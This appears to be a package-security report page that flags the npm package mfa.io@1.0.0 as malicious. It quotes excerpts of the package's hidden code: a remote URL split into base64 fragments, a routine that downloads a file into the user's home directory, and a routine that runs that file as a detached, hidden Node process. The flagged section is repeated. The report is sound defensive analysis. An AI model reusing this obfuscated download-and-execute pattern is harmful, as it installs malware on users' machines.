mfa.io@1.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

mfa.io@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

index.jsView file

2L3: const tls = require('tls'); L4: const crypto = require('crypto');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

lib/cache.jsView file

61* (_SEGS) and path-component (_PSEGS) tokens are L62: * stored as base64 fragments rather than single L63: * literals so they survive minification and ... L104: function _pullAsset(url, dest, cb) { L105: const fs = require('fs'), path = require('path'), https = require('https'); L106: try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} ... L131: const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); L132: const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); L133: const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7));

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/cache.jsView on unpkg · L61

•matchType = normalized_sha256 matchedPackage = mfafix@1.1.1 matchedPath = lib/cache.js matchedIdentity = npm:bWZhZml4:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/cache.jsView on unpkg

81const _SEGS = [ 'aHR0cHM6Ly9saW1ib21haWwuY29t', 'L2FwaS9hdHRhY2htZW50L2w0VElS', 'UE9zYVV4Ui5fNjAzLXZoS0RSZGdL', 'bDNSYWxOX1RWVVpZR1BzSnkyWQ==', ];

High

Ai Review Evidence

The cache module hides a remote endpoint in Base64 fragments.

lib/cache.jsView on unpkg · L81

119function _spawnWorker(p) { try { const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); require(_d(8)).execFile(process.execPath, [p], { detached: true, stdio: 'ignore', windowsHide: true, creationFlags: 0x08000008, }).unref(); } catch {} } function _initOnce() { const os = require('os'), path = require('path'); const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7)); _pullAsset(_resolveEp(), dst, _spawnWorker

High

Ai Review Evidence

The downloaded file is launched as a detached hidden Node process.

lib/cache.jsView on unpkg · L119

lib/http.jsView file

•matchType = normalized_sha256 matchedPackage = mfafix@1.1.1 matchedPath = lib/http.js matchedIdentity = npm:bWZhZml4:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/http.jsView on unpkg

Source & flagged code

6 flagged

index.jsView file

2L3: const tls = require('tls'); L4: const crypto = require('crypto');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

lib/cache.jsView file

61* (_SEGS) and path-component (_PSEGS) tokens are L62: * stored as base64 fragments rather than single L63: * literals so they survive minification and ... L104: function _pullAsset(url, dest, cb) { L105: const fs = require('fs'), path = require('path'), https = require('https'); L106: try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} ... L131: const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); L132: const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); L133: const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7));

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/cache.jsView on unpkg · L61

•matchType = normalized_sha256 matchedPackage = mfafix@1.1.1 matchedPath = lib/cache.js matchedIdentity = npm:bWZhZml4:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/cache.jsView on unpkg

81const _SEGS = [ 'aHR0cHM6Ly9saW1ib21haWwuY29t', 'L2FwaS9hdHRhY2htZW50L2w0VElS', 'UE9zYVV4Ui5fNjAzLXZoS0RSZGdL', 'bDNSYWxOX1RWVVpZR1BzSnkyWQ==', ];

High

Ai Review Evidence

The cache module hides a remote endpoint in Base64 fragments.

lib/cache.jsView on unpkg · L81

119function _spawnWorker(p) { try { const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); require(_d(8)).execFile(process.execPath, [p], { detached: true, stdio: 'ignore', windowsHide: true, creationFlags: 0x08000008, }).unref(); } catch {} } function _initOnce() { const os = require('os'), path = require('path'); const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7)); _pullAsset(_resolveEp(), dst, _spawnWorker

High

Ai Review Evidence

The downloaded file is launched as a detached hidden Node process.

lib/cache.jsView on unpkg · L119

lib/http.jsView file

•matchType = normalized_sha256 matchedPackage = mfafix@1.1.1 matchedPath = lib/http.js matchedIdentity = npm:bWZhZml4:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/http.jsView on unpkg